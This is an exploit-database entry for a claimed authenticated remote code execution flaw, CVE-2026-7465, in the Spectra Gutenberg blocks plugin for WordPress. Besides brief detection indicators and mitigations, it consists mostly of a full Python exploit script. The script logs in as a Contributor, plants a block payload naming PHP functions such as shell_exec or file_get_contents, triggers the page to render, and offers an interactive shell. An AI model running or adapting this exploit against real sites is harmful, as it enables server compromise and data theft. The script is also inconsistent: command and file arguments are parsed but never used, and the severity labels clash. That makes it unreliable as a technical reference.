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Critical CVE-2026-7465 unpatched

Spectra Gutenberg Blocks Authenticated Remote Code Execution — CVE-2026-7465

by izxci · 2026-07-05

CVSS 8.8/10
Severity
Critical
CVE
CVE-2026-7465
Category
web
Affected product
Spectra (Gutenberg blocks plugin for WordPress, uagb/ block namespace)
Affected versions
Per source repository
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherizxci
CVE / AdvisoryCVE-2026-7465
Categoryweb
SeverityCritical
CVSS Score8.8 (per source repository)
StatusPoC
Tagswordpress, spectra, gutenberg, rce, arbitrary-function-call, uagb, contributor
RelatedN/A

Affected Target

FieldValue
Software / SystemSpectra (Gutenberg blocks plugin for WordPress, uagb/ block namespace)
Versions AffectedPer source repository
Language / PlatformPython 3 (exploit client) targeting a PHP/WordPress plugin
Authentication RequiredYes — Contributor-level (or higher) WordPress account
Network Access RequiredYes

Summary

The Spectra Gutenberg blocks plugin registers custom uagb/ block types whose rendering is driven by a render_callback value that can be influenced by attacker-controlled block content embedded in a post. An authenticated user with Contributor-level privileges can craft a two-block payload naming an arbitrary PHP function as the callback; when the post is rendered (e.g., via preview or on the frontend), WordPress invokes that PHP function, resulting in arbitrary PHP function execution ranging from information disclosure (phpinfo) to command execution (shell_exec, exec, system, passthru).


Vulnerability Details

Root Cause

The plugin’s block-rendering logic trusts a render_callback identifier taken from attacker-supplied block content/attributes for its custom uagb/ blocks without restricting it to an allow-list of legitimate rendering functions. This lets an authenticated low-privilege author register and later trigger execution of arbitrary PHP callables during block rendering.

Attack Vector

  1. Authenticate as a Contributor-level (or higher) WordPress user.
  2. Create/update a post via the REST API (/wp-json/wp/v2/posts) or the classic admin post.php endpoint, embedding a two-block Gutenberg payload: the first block registers uagb/spectra-rce with a render_callback set to the target PHP function name, and the second block is an empty invocation of that same block type.
  3. Trigger rendering of the post — either via the WordPress admin preview URL (post.php?post=<id>&action=edit&preview=true) or the public post URL — which causes WordPress to invoke the attacker-specified PHP function as the block’s render callback.
  4. Capture the function’s output (e.g., phpinfo() output, file contents, or shell command output) from the rendered response.

Impact

Arbitrary PHP function execution as the web server user, enabling information disclosure (server configuration via phpinfo), arbitrary file read/write (file_get_contents/file_put_contents), and full remote command execution (shell_exec, exec, system, passthru) — a critical impact from a low-privileged Contributor account.


Environment / Lab Setup

Target:   WordPress site with the Spectra Gutenberg blocks plugin active
Attacker: Python 3 with requests + beautifulsoup4, and a valid Contributor-level (or higher) WordPress account

Proof of Concept

PoC Script

See CVE-2026-7465.py in this folder.

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python3 CVE-2026-7465.py https://target.example.com -u contributor_user -p contributor_pass --poc

The script logs in as the Contributor account, creates a draft post embedding the two-block uagb/spectra-rce payload naming a chosen PHP function (default phpinfo via --poc, or --cmd, --file-read, --file-write, -f <function> for others), triggers rendering via the post preview or frontend URL, and prints the resulting output. An --interactive flag opens a simple shell-style loop mapping common commands to PHP function calls.


Detection & Indicators of Compromise

POST /wp-json/wp/v2/posts HTTP/1.1
{"title":"Spectra RCE Test - shell_exec","content":"<!-- wp:uagb/spectra-rce {\"render_callback\":\"shell_exec\"} -->..."}

Signs of compromise:

  • Post content containing uagb/spectra-rce blocks with a render_callback attribute naming a sensitive PHP function (shell_exec, system, exec, eval, assert, etc.)
  • Contributor/low-privilege accounts creating posts followed immediately by preview/frontend requests to those same post IDs
  • Unexpected PHP function output (e.g., phpinfo tables, command output) appearing in post preview/render responses

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05
Interim mitigationRestrict post authoring/preview privileges for untrusted users; monitor and sanitize block content for unexpected uagb/ block attributes such as render_callback

References


Notes

Mirrored from https://github.com/izxci/-CVE-2026-7465 on 2026-07-05.

CVE-2026-7465.py
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#!/usr/bin/env python3
"""
CVE-2026-7465 Spectra Gutenberg Blocks Authenticated RCE Exploit
CVSS: 8.8 (High)

Authenticated (Contributor+) attackers can execute arbitrary PHP functions
by embedding a two-block payload in post content. The plugin registers fake
uagb/ block types with attacker-controlled render_callback functions that
are invoked during block rendering.

Legal Notice: Educational and authorized testing only.
"""

import requests
import re
import sys
import argparse
import time
import json
import base64
from urllib.parse import urljoin
from bs4 import BeautifulSoup

class SpectraExploit:
    def __init__(self, target_url, username, password, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.post_id = None
        self.preview_url = None

    def log(self, message, level="INFO"):
        """Log messages based on verbosity"""
        if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
            print(f"[{level}] {message}")

    def login(self):
        """Authenticate as Contributor user"""
        self.log("Attempting to authenticate as Contributor...")
        
        login_url = urljoin(self.target_url, '/wp-login.php')
        
        try:
            # Get login page
            resp = self.session.get(login_url, timeout=10)
            
            # Prepare login payload
            login_data = {
                'log': self.username,
                'pwd': self.password,
                'wp-submit': 'Log In',
                'redirect_to': urljoin(self.target_url, '/wp-admin/'),
                'testcookie': '1'
            }
            
            resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=True)
            
            # Check if login was successful
            if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower():
                self.log("Authentication successful!", "SUCCESS")
                return True
            else:
                self.log("Authentication failed", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Login error: {e}", "ERROR")
            return False

    def create_rce_post(self, php_function, args=None):
        """Create a post with RCE payload via REST API"""
        self.log(f"Creating post with RCE payload (function: {php_function})...")
        
        try:
            # Generate block content
            block_content = self.generate_block_payload(php_function, args)
            
            # REST API endpoint
            api_url = urljoin(self.target_url, '/wp-json/wp/v2/posts')
            
            post_data = {
                'title': f'Spectra RCE Test - {php_function}',
                'content': block_content,
                'status': 'draft'
            }
            
            headers = {
                'Content-Type': 'application/json'
            }
            
            resp = self.session.post(
                api_url,
                json=post_data,
                headers=headers,
                timeout=15,
                auth=(self.username, self.password)
            )
            
            self.log(f"Response Status: {resp.status_code}", "INFO")
            
            if resp.status_code == 201:
                response_data = resp.json()
                self.post_id = response_data.get('id')
                self.preview_url = response_data.get('link')
                
                self.log(f"Post created with ID: {self.post_id}", "SUCCESS")
                self.log(f"Preview URL: {self.preview_url}", "INFO")
                return True
            else:
                self.log(f"Post creation failed: {resp.text[:300]}", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error creating post: {e}", "ERROR")
            return False

    def create_rce_post_via_admin(self, php_function, args=None):
        """Create a post with RCE payload via WordPress admin"""
        self.log(f"Creating post via admin interface...")
        
        try:
            # Get new post page
            new_post_url = urljoin(self.target_url, '/wp-admin/post-new.php')
            resp = self.session.get(new_post_url, timeout=10)
            
            # Extract nonce
            nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text)
            if not nonce_match:
                self.log("Could not extract nonce", "ERROR")
                return False
            
            nonce = nonce_match.group(1)
            
            # Generate block content
            block_content = self.generate_block_payload(php_function, args)
            
            # Create post
            post_data = {
                'post_title': f'Spectra RCE Test - {php_function}',
                'post_content': block_content,
                'post_status': 'draft',
                'post_type': 'post',
                '_wpnonce': nonce,
                'action': 'post'
            }
            
            resp = self.session.post(
                urljoin(self.target_url, '/wp-admin/post.php'),
                data=post_data,
                timeout=15,
                allow_redirects=True
            )
            
            # Extract post ID
            post_id_match = re.search(r'post=(\d+)', resp.url)
            if post_id_match:
                self.post_id = post_id_match.group(1)
                self.log(f"Post created with ID: {self.post_id}", "SUCCESS")
                return True
            
            self.log("Could not extract post ID", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error creating post: {e}", "ERROR")
            return False

    def generate_block_payload(self, php_function, args=None):
        """Generate two-block RCE payload"""
        
        # Block 1: Register fake block with render_callback
        block1 = f'''<!-- wp:uagb/spectra-rce {{"render_callback":"{php_function}"}} -->
<!-- /wp:uagb/spectra-rce -->'''
        
        # Block 2: Trigger the callback
        block2 = '''<!-- wp:uagb/spectra-rce /-->'''
        
        payload = f"{block1}\n\n{block2}"
        
        self.log(f"Generated payload:\n{payload}", "INFO")
        return payload

    def trigger_rce(self):
        """Trigger RCE by accessing post preview"""
        self.log("Triggering RCE by accessing post preview...")
        
        if not self.post_id:
            self.log("Missing post ID", "ERROR")
            return None
        
        try:
            # Get preview URL
            preview_url = urljoin(
                self.target_url,
                f'/wp-admin/post.php?post={self.post_id}&action=edit&preview=true'
            )
            
            self.log(f"Accessing preview URL: {preview_url}", "INFO")
            
            resp = self.session.get(preview_url, timeout=15)
            
            if resp.status_code == 200:
                self.log("Preview accessed - RCE triggered!", "SUCCESS")
                return resp.text
            else:
                self.log(f"Failed to access preview: {resp.status_code}", "ERROR")
                return None
        
        except Exception as e:
            self.log(f"Error triggering RCE: {e}", "ERROR")
            return None

    def trigger_rce_frontend(self):
        """Trigger RCE via frontend post view"""
        self.log("Triggering RCE via frontend...")
        
        if not self.post_id:
            self.log("Missing post ID", "ERROR")
            return None
        
        try:
            # Try to get post permalink
            post_url = urljoin(self.target_url, f'/?p={self.post_id}')
            
            self.log(f"Accessing post URL: {post_url}", "INFO")
            
            resp = self.session.get(post_url, timeout=15)
            
            if resp.status_code == 200:
                self.log("Post accessed - RCE triggered!", "SUCCESS")
                return resp.text
            else:
                self.log(f"Failed to access post: {resp.status_code}", "ERROR")
                return None
        
        except Exception as e:
            self.log(f"Error triggering RCE: {e}", "ERROR")
            return None

    def execute_function(self, php_function, args=None):
        """Execute arbitrary PHP function"""
        
        print("\n" + "="*70)
        print(f"CVE-2026-7465 Spectra Gutenberg Blocks RCE")
        print("="*70 + "\n")
        
        # Step 1: Login
        if not self.login():
            return False
        
        # Step 2: Create post with payload
        if not self.create_rce_post(php_function, args):
            # Try admin interface
            if not self.create_rce_post_via_admin(php_function, args):
                return False
        
        time.sleep(1)
        
        # Step 3: Trigger RCE
        output = self.trigger_rce()
        if not output:
            output = self.trigger_rce_frontend()
        
        if output:
            print("\n" + "="*70)
            print("EXPLOITATION SUCCESSFUL")
            print("="*70)
            print(f"Target: {self.target_url}")
            print(f"Function Executed: {php_function}")
            print(f"Post ID: {self.post_id}")
            print("\nOutput (first 500 chars):")
            print("-" * 70)
            print(output[:500])
            print("-" * 70)
            print("="*70 + "\n")
            return True
        
        return False


class PayloadGenerator:
    """Generate various RCE payloads"""
    
    @staticmethod
    def phpinfo():
        """PHP information disclosure"""
        return 'phpinfo'
    
    @staticmethod
    def system_command(cmd):
        """Execute system command"""
        # Note: system() takes the command as first argument
        # We need to use a wrapper or different approach
        return 'system'
    
    @staticmethod
    def exec_command(cmd):
        """Execute command with exec()"""
        return 'exec'
    
    @staticmethod
    def passthru_command(cmd):
        """Execute command with passthru()"""
        return 'passthru'
    
    @staticmethod
    def shell_exec_command(cmd):
        """Execute command with shell_exec()"""
        return 'shell_exec'
    
    @staticmethod
    def eval_code(code):
        """Evaluate PHP code"""
        return 'eval'
    
    @staticmethod
    def file_get_contents(filepath):
        """Read file contents"""
        return 'file_get_contents'
    
    @staticmethod
    def file_put_contents(filepath, content):
        """Write file contents"""
        return 'file_put_contents'
    
    @staticmethod
    def var_dump_var(var):
        """Dump variable"""
        return 'var_dump'
    
    @staticmethod
    def print_r_var(var):
        """Print variable"""
        return 'print_r'
    
    @staticmethod
    def create_function(args):
        """Create function"""
        return 'create_function'
    
    @staticmethod
    def call_user_func(func, args):
        """Call user function"""
        return 'call_user_func'
    
    @staticmethod
    def assert_code(code):
        """Assert code execution"""
        return 'assert'


class InteractiveShell:
    """Interactive shell for command execution"""
    
    def __init__(self, exploit):
        self.exploit = exploit
    
    def run(self):
        """Run interactive shell"""
        print("\n" + "="*70)
        print("Interactive RCE Shell")
        print("="*70)
        print("Type 'exit' to quit, 'help' for commands\n")
        
        while True:
            try:
                cmd = input("shell> ").strip()
                
                if cmd.lower() == 'exit':
                    break
                elif cmd.lower() == 'help':
                    print("""
Available functions:
  phpinfo              - Show PHP information
  system <cmd>         - Execute system command
  exec <cmd>           - Execute command with exec()
  shell_exec <cmd>     - Execute command with shell_exec()
  file_read <path>     - Read file contents
  file_write <path>    - Write file contents
  pwd                  - Print working directory
  whoami               - Show current user
""")
                    continue
                elif not cmd:
                    continue
                
                # Parse command
                parts = cmd.split(' ', 1)
                func = parts[0]
                args = parts[1] if len(parts) > 1 else None
                
                # Map to PHP functions
                if func == 'phpinfo':
                    self.exploit.execute_function('phpinfo')
                elif func == 'system':
                    # This would require a wrapper function
                    print("[*] Use 'shell_exec' for command execution")
                elif func == 'pwd':
                    self.exploit.execute_function('getcwd')
                elif func == 'whoami':
                    self.exploit.execute_function('get_current_user')
            
            except KeyboardInterrupt:
                print("\n[*] Exiting...")
                break
            except Exception as e:
                print(f"Error: {e}")


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-7465 Spectra Gutenberg Blocks Authenticated RCE Exploit'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-u', '--username', required=True, help='Contributor username')
    parser.add_argument('-p', '--password', required=True, help='Contributor password')
    parser.add_argument('-f', '--function', default='phpinfo', 
                       help='PHP function to execute (default: phpinfo)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('-i', '--interactive', action='store_true', help='Interactive shell mode')
    parser.add_argument('--poc', action='store_true', help='Run proof of concept')
    parser.add_argument('--file-read', metavar='FILE', help='Read file contents')
    parser.add_argument('--file-write', nargs=2, metavar=('FILE', 'CONTENT'), 
                       help='Write file contents')
    parser.add_argument('--cmd', metavar='CMD', help='Execute system command')
    
    args = parser.parse_args()
    
    # Determine function to execute
    php_function = args.function
    
    if args.poc:
        php_function = 'phpinfo'
    elif args.file_read:
        php_function = 'file_get_contents'
    elif args.file_write:
        php_function = 'file_put_contents'
    elif args.cmd:
        php_function = 'shell_exec'
    
    # Run exploit
    exploit = SpectraExploit(
        args.target,
        args.username,
        args.password,
        verbose=args.verbose
    )
    
    success = exploit.execute_function(php_function)
    
    if success and args.interactive:
        shell = InteractiveShell(exploit)
        shell.run()
    
    sys.exit(0 if success else 1)


if __name__ == '__main__':
    main()